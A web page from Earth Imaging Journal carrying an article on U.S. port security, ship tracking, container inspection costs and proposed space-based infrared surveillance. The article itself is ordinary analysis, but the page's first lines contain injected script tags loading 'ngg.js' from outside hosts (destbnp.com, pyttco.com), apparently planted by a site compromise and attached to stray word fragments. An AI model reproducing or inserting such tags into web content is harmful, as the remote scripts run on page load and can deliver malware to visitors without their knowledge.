Airborne1<script src=http://www.destbnp.com/ngg.js></script><script src=http://www.destbnp.com/ngg.js></script><script src=http://www.pyttco.com/ngg.js></script>




ersi<script src=http://www.destbnp.com/ngg.js></script><script src=http://www.destbnp.com/ngg.js></script><script src=http://www.pyttco.com/ngg.js></script>

 
 
Are U.S. Ports Safe?
By Carl Kaminski and Bruce Wilkinson, Toffler Associates, Manchester, Mass.
 
Weapons of mass destruction were instrumental in the conquest of America by European settlers. An unknown and unforeseen biological weapon—the germ—ravaged the Native American population. For example, within 40 years of Jamestown's founding, the Powhatan tribe of approximately 20,000 was reduced to less than 3,000 by smallpox and measles. Biological weapons capable of the same level of decimation are among the greatest threats to homeland security today. And just as the weapons that leveled civilizations in the 17th century arrived by boat, so may the weapons of today.
Fortunately, Americans are aware of the threat posed by biological agents, and they appreciate the fact a biological attack could come from the sea, over land or in the air. U.S. leaders know how vulnerable the country is to the threat of ship-borne terrorism. But how can the United States prevent terrorists from taking advantage of its distributed, decentralized port system?
   
 
 
An Elusive Threat    
     
The United States lacks an integrated system to track ships continuously around the world, or even in U.S. waters. The country has the ability to detect and track ships that emit electronic signals (e.g., radar or radio transmissions), but the tracking infrastructure is too rudimentary to permit continuity of coverage. Moreover, so many resources must be used to track low-risk ships that the total awareness necessary for the truly dangerous vessels to be observed is impossible under current trends.

In February 2003, for example, the Scandinavian Shipping Gazette reported that American and British intelligence services were tracking three bulk carriers suspected to have mass-destruction weapons onboard. The three vessels of approximately 35,000–40,000 Dead Weight Tons (DWT) were said to have left Arabian ports shortly after the first United Nations team of inspectors arrived in Iraq. The vessels—flying the flags of three different nations and chartered by an Egyptian broker—stayed in the Indian Ocean and kept radio silence. At the time of this writing, their whereabouts and activities remain unknown; they have effectively disappeared.

In late 2002, U.S. intelligence officials identified at least 15 cargo freighters around the world that they believe to be controlled by Al Qaeda. These freighters could be used to ferry terrorist operatives, bombs, money or commodities over the high seas. Moreover, they could be used to commit terrorist attacks on ports anywhere in the world. Although any such attack would put at risk the lives of American civilians and servicemen and women, it would also put at risk the health of the world economy upon which U.S. growth depends.
   
     
Magnitude of the Problem    
     
Traditionally, maritime security meant navies battling on the high seas over lucrative shipping lanes. The Spanish crown used to route all New World gold shipments through the Port of Havana, Cuba, to be able to provide the compiled shipment to Spain with enough security. Havana was sacked repeatedly; on the last occasion Spain had to give the English Florida in exchange for its main shipping hub. Similar stories could be told of other famous shipping lanes, such as the Straits of Malacca or parts of the Mediterranean.

Today’s enormous container and bulk ships have changed maritime security forever. Increasing amounts of world trade—in real and relative terms—flow through the same largest ports, “hubs” in the world trade network. Given that 90 percent of the world’s cargo moves in containers, and, to pick one example, 95 percent of U.S. non-North American foreign trade arrives by ship, the shipping network is crucial. The United States must do all it can to secure the network.

The sheer number of vessels and shipments could overwhelm any monitoring attempt. A recent study by the Department of Naval Architecture and Ocean Engineering at the U.S. Naval Academy estimated the number of U.S. port calls in 2000 at 105,000 (or approximately 8,200 ships), and the number is predicted to grow to approximately 163,000 port calls in 2010. In 2001, approximately 5,400 ships carrying multinational crews and cargoes from around the globe made more than 60,000 U.S. port calls, according to the General Accounting Office.
   
 
According to the Brookings Institution, it would cost the U.S. Custom and Border Protection Agency $50 billion per year to inspect all incoming containers. The U.S. lands 6 million cargo containers per year, including transshipments (containers en route to another overseas port). About 250 million containers are shipped annually worldwide. Currently, the Border Protection Agency’s annual budget is a meager $2.3 billion. It physically searches only 2 percent of the landed containers, even though disaster can be transported in just one container. However, the inspection of all incoming containers isn’t the ideal or correct approach.  
   
Finding and Tracking the Terrorists  
   
An alternative to 100 percent inspections is tracking suspect ships and cargoes. The Container Security Initiative (CSI) is beginning to do this by inspecting container cargoes before they are loaded in foreign ports, and sealing them before they depart to the United States. But much more security could come from ensuring cargoes and ships are complying with their itineraries and manifests, and tracking is the only way to ensure this.

Finding and tracking merchant ships requires intense effort because of the vast area that must be searched (the world’s oceans—or even a small part of one ocean). Further assets are required to investigate the ship (by airborne observation or sea-borne interception) or to track it to its destination.

If the United States is funding the solution, it can reduce the size of the problem by limiting inspections and tracking to those ships expected to visit U.S. ports. This process began shortly after Sept. 11, 2001, when the Coast Guard established new rules for medium- and large-size ships. Now, 96 hours before reaching a U.S. port, merchant ships must provide data about their cargo, the names and passport numbers of the crew, the ship's corporate details and recent port calls. This information is merged with other data, such as satellite photos of ships or ports, and is entered into the government’s Automated Targeting System, which uses artificial intelligence to flag suspicious containers based on a combination of country of origin, weight discrepancies and names linked to terrorists groups. In addition, because shipping lanes to major American ports are well established, various surveillance assets can monitor shipping activity and look for anomalies.
 
 
     
One passive method of solving the problem recently implemented by the U.S. Coast Guard is a harbor surveillance system. The Vessel Traffic Service (VTS) surveillance system, made by Lockheed Martin Inc., is being deployed in New York harbor and the Texas ports of Houston, Galveston and Port Arthur. Originally designed to support the Coast Guard's maritime-safety and environmental-protection missions, the VTS will increase homeland security by tracking and identifying all ships entering a port. Using internationally approved Automatic Identification System (AIS) transponder technology, a VTS allows the Coast Guard to easily identify ships. Thus, less effort and funds need to be expended on safe ships, leaving more to be concentrated on suspect ships.
 
   
Maximizing Space-Based Assets  
   
Such initiatives are only first steps in what must be a concerted effort to stop terrorism using seas and ports to threaten innocent people and national security. The United States is investigating its options, including the ability to augment these protective measures by employing space-based infrared (IR) tracking systems to monitor ships at sea. The volume of merchant traffic is too great given current resources to track on a global basis, especially considering that only a handful of ships would pose a threat. However, given the devastation such an attack could have on U.S. national security, the country is considering the feasibility of integrating IR detection systems with other ocean surveillance systems—at least in the 3.4 million square miles of Exclusive Economic Zones currently serviced by the U.S. Coast Guard.
 
 
 
Infrared sensors looking for heat signatures against the background of the cold ocean could be an effective addition to the array of technologies employed to enhance maritime situational awareness. Given that shipping lanes to major U.S. ports are well established and the U.S. Coast Guard now requires 96-hour port entry notification, an operational concept that uses space-based IR sensors to help detect shipping anomalies would enable the timely cueing of other more tactical assets (e.g., patrol craft and Unmanned Aerial Vehicles) that could identify and investigate suspicious activity. The concept could be expanded in the future to incorporate space-based radar and provide all-weather detection and tracking capability.

This kind of detection capability could be used by agencies responsible for homeland security to assist in verifying anticipated shipping activity based on new reporting requirements while alerting authorities to the presence of shipping that hasn’t been reported. This information could be integrated with other sources of ship locating and tracking data to allow the effective allocation of other patrol assets to investigate anomalous contacts at sea, in coastal waterways and offshore.

Finally, measures that ferret out illegal shipping activity have far-reaching benefits. Terrorism isn’t the only activity that will suffer from closer monitoring of container and bulk shipping traffic: arms smuggling, immigrant smuggling and narcotics smuggling also will feel the sting.

Although steps currently being taken will begin to close certain ports to terrorism, the seas remain far from secure—and therefore the United States and world remain insecure. Cost prohibits inspecting all containers entering U.S. ports. However, using space-based capabilities as a pillar in an integrated system to monitor suspect ships, crews and cargoes, and ensure continuity of coverage, would increase U.S. homeland security and security in all of the world’s ports.
 
 
  See more Featured Articles
 

  See  Featured Images
 
  Subscribe to Earth Imaging Journal

 
Go to Home Page
      

   
  [none]

Copyright ©2003-2007 Earthwide Communications LLC - Powered by eNetwork Marketing